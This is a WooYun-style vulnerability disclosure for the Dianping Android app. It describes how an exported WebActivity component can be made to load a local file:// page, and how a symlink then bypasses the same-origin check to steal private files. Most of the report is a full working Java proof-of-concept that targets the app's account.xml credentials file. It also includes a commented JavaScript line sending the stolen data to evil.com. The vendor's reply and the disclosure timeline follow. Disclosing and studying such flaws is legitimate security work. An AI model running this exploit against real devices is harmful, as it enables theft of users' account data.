大众点评APP客户端任意数据窃取漏洞(Android版需要本地权限)

漏洞详情

披露状态:

2013-12-26: 细节已通知厂商并且等待厂商处理中
2013-12-27: 厂商已经确认,细节仅向厂商公开
2013-12-30: 细节向第三方安全合作伙伴开放
2014-01-06: 细节向核心白帽子及相关领域专家公开
2014-01-16: 细节向普通白帽子公开
2014-02-05: 细节向实习白帽子公开
2014-03-26: 细节向公众公开

简要描述:

大众点评客户端APP(Android版)的实现存在问题,攻击者构造特定的Intent Object,启动APP中的com.dianping.ui.activity.WebActivity组件,执行特定的JavaScript脚本,可以窃取任意私有文件的内容。

详细说明:

1. 大众点评客户端App包含很多Activities组件,其中的com.dianping.ui.activity.WebActivity组件可以响应任意第三方App发送的Intent Object,接收其中的参数值,调用WebView组件打开参数中指定的url地址(我们此处关注的是file://本地文件域),解析执行其中的代码。

2. 利用符号链接,可以绕过文件同源性策略的限制,调用com.dianping.ui.activity.WebActivity组件解析执行特定的JavaScript脚本,可以窃取任意私有文件的内容。

详情请参考看漏洞证明代码。

漏洞证明:

package com.example.x3xtxt.demo.dp;

import java.io.FileOutputStream;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
import android.widget.Toast;

public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
/* 这是你想要窃取的目标文件地址 */
String sensitive_file_name = "/data/data/com.dianping.v1/shared_prefs/account.xml";
DP_WebViewReadAnyFilePoC(sensitive_file_name);
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

public void DP_WebViewReadAnyFilePoC(String targetfile){
try{
// 第一步,将窃取数据的shellpoc.html写入本地,确保任意App都有权访问shellpoc.html。
String shell_poc = "/data/data/"+getApplicationContext().getPackageName()+"/files/shellpoc.html";

write_payload_file();
cmdexec(new String[] {"/system/bin/chmod", "-R", "777", shell_poc});

// 第二步,调用com.dianping.ui.activity.WebActivity组件打开shellpoc.html文件,载入解析执行其中的JavaScript脚本,
// JavaScript脚本中的函数延迟执行,之所以延迟执行是为了配合符号链接绕过文件同源性策略。
String pkgName = "com.dianping.v1";
String activityName = "com.dianping.ui.activity.WebActivity";
String url = "file://"+shell_poc;

Intent intent = new Intent();
intent.setAction("android.intent.action.VIEW");
intent.setComponent(new ComponentName(pkgName, activityName));
intent.putExtra("url", url);
intent.putExtra("title", "android app sec testing");
intent.putExtra("openExternal", true);
startActivity(intent);

Thread.sleep(2000);
// 第三步,当shellpoc.html被载入到WebView中解析执行之后,删除shellpoc.html文件,
// 然后创建包含敏感信息的目标私有文件("/data/data/com.dianping.v1/shared_prefs/account.xml")的符号链接,
// 符号链接名称和shellpoc.html文件名相同,从而绕过文件同源性策略,读取私有文件的数据。
cmdexec(new String[] {"/system/bin/rm", shell_poc});
cmdexec(new String[] {"/system/bin/ln", "-s", targetfile, shell_poc});
cmdexec(new String[] {"/system/bin/chmod", "-R", "777", shell_poc});

Thread.sleep(5000);

cmdexec(new String[] {"/system/bin/rm", shell_poc});
}catch(Exception e){
debugInfo(e.getMessage());
}
}

@SuppressWarnings("deprecation")
public void write_payload_file(){
String payloadStr = "function getContent(){ \n" +
" var url = location.href; \n" +
" var xmlhttp; \n" +
" if(window.XMLHttpRequest){ \n" +
" xmlhttp=new XMLHttpRequest(); \n" +
" }else{ \n" +
" xmlhttp=new ActiveXObject(\"Microsoft.XMLHTTP\"); \n" +
" } \n" +
" \n" +
" xmlhttp.onreadystatechange=function() \n" +
" { \n" +
" if (xmlhttp.readyState==4) \n" +
" { \n" +
// 实际的攻击过程中只要将alert(xmlhttp.responseText)替换为
// document.location.href = 'http://evil.com/receive.php?data'+encodeURIComponent(xmlhttp.responseText)
// 即可。
" alert(xmlhttp.responseText); \n" +
" } \n" +
" } \n" +
" xmlhttp.open(\"GET\",url,true); \n" +
" xmlhttp.send(); \n" +
"} \n" +
" \n" +
"setTimeout(getContent,4000); \n";
String htmlStr = "<html> \n" +
"<head><title>Steal Sensitive Information PoC</title></head> \n" +
"<body> \n" +
" <script type=\"text/javascript\"> \n" +
payloadStr +
" </script> \n" +
"</body> \n" +
"</html>";
try{
FileOutputStream fOut = openFileOutput("shellpoc.html", Context.MODE_WORLD_READABLE);
fOut.write(htmlStr.getBytes());
fOut.close();
}catch(Exception e){
debugInfo(e.getMessage());
}
}

public void cmdexec(String[] cmd){
try{
Runtime.getRuntime().exec(cmd);
}catch(Exception e){
debugInfo(e.getMessage());
}
}

public void debugInfo(String msg){
Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();
}

}

修复方案:

关于修复,还是RD自己参照系统功能需求来做限制吧。

版权声明:转载请注明来源 x3xtxt@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2013-12-27 14:25

厂商回复:

谢谢关注点评安全。由于需要攻击者已经有目标机的执行权限(因为需要写入本地文件,而且需要创建符号链接),一般要求用户安装木马程序的情况下才可做到,所以条件比较苛刻,下次版本会限制本地域的访问。

最新状态:

暂无


漏洞评价: